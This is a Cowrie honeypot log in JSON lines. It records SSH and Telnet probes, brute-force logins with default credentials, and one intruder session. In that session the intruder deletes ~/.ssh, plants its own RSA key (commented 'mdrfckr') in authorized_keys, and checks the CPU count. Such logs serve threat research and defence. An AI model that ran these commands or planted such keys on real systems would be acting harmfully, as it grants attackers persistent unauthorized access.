{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:43.084182Z","src_ip":"103.27.238.116","session":"880b2fbcb1df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whocares","message":"login attempt [root/whocares] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:44.512462Z","src_ip":"103.27.238.116","session":"880b2fbcb1df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:45.772209Z","src_ip":"103.27.238.116","session":"880b2fbcb1df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37034,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb2af40a1ca6","protocol":"telnet","message":"New connection: 172.81.62.90:37034 (159.203.135.109:23) [session: eb2af40a1ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:52.128541Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":9995,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cd08364e4f7","protocol":"ssh","message":"New connection: 178.20.210.208:9995 (159.203.135.109:22) [session: 8cd08364e4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:05.111371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:05.144479Z","src_ip":"178.20.210.208","session":"8cd08364e4f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:05.215903Z","src_ip":"178.20.210.208","session":"8cd08364e4f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:05.618767Z","src_ip":"178.20.210.208","session":"8cd08364e4f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:06.723842Z","src_ip":"178.20.210.208","session":"8cd08364e4f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.93270444869995,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:31.061145Z","src_ip":"172.81.62.90","session":"eb2af40a1ca6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50094,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7fe697bcd5e","protocol":"telnet","message":"New connection: 172.81.62.90:50094 (159.203.135.109:23) [session: c7fe697bcd5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:43.372256Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50182,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e7087b34767","protocol":"telnet","message":"New connection: 172.81.62.90:50182 (159.203.135.109:23) [session: 6e7087b34767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:46.397512Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50194,"dst_ip":"159.203.135.109","dst_port":23,"session":"84682fd8af45","protocol":"telnet","message":"New connection: 172.81.62.90:50194 (159.203.135.109:23) [session: 84682fd8af45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:50.641506Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.151","src_port":7380,"dst_ip":"159.203.135.109","dst_port":22,"session":"776343ae37e8","protocol":"ssh","message":"New connection: 45.148.10.151:7380 (159.203.135.109:22) [session: 776343ae37e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:50.869850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:50.874615Z","src_ip":"45.148.10.151","session":"776343ae37e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:50.963456Z","src_ip":"45.148.10.151","session":"776343ae37e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:51.351475Z","src_ip":"45.148.10.151","session":"776343ae37e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":57600,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f4c06e191a5","protocol":"ssh","message":"New connection: 76.79.213.69:57600 (10.17.0.5:22) [session: 2f4c06e191a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:56.605343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:56.609767Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:56.731910Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"botpassword","message":"login attempt [bot/botpassword] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:57.254192Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:57.555234Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:57.558640Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:57.562671Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:57.808681Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:57.985991Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:57.989368Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/bot/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:58.117993Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:58.121386Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":58058,"dst_ip":"10.17.0.5","dst_port":22,"session":"680df4aa4345","protocol":"ssh","message":"New connection: 76.79.213.69:58058 (10.17.0.5:22) [session: 680df4aa4345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:58.237450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:58.242587Z","src_ip":"76.79.213.69","session":"680df4aa4345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:58.364631Z","src_ip":"76.79.213.69","session":"680df4aa4345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53558,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ba5e9280131","protocol":"telnet","message":"New connection: 172.81.62.90:53558 (159.203.135.109:23) [session: 2ba5e9280131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:58.815144Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:04:58.889690Z","src_ip":"76.79.213.69","session":"680df4aa4345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:00.045814Z","src_ip":"76.79.213.69","session":"680df4aa4345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":58616,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d0852e06e25","protocol":"ssh","message":"New connection: 76.79.213.69:58616 (10.17.0.5:22) [session: 5d0852e06e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:00.166070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:00.171855Z","src_ip":"76.79.213.69","session":"5d0852e06e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:00.303405Z","src_ip":"76.79.213.69","session":"5d0852e06e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"3245gs5662d34","message":"login attempt [bot/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:00.830782Z","src_ip":"76.79.213.69","session":"5d0852e06e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:01.970550Z","src_ip":"76.79.213.69","session":"5d0852e06e25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:02.183342Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:02.186814Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:02.474388Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
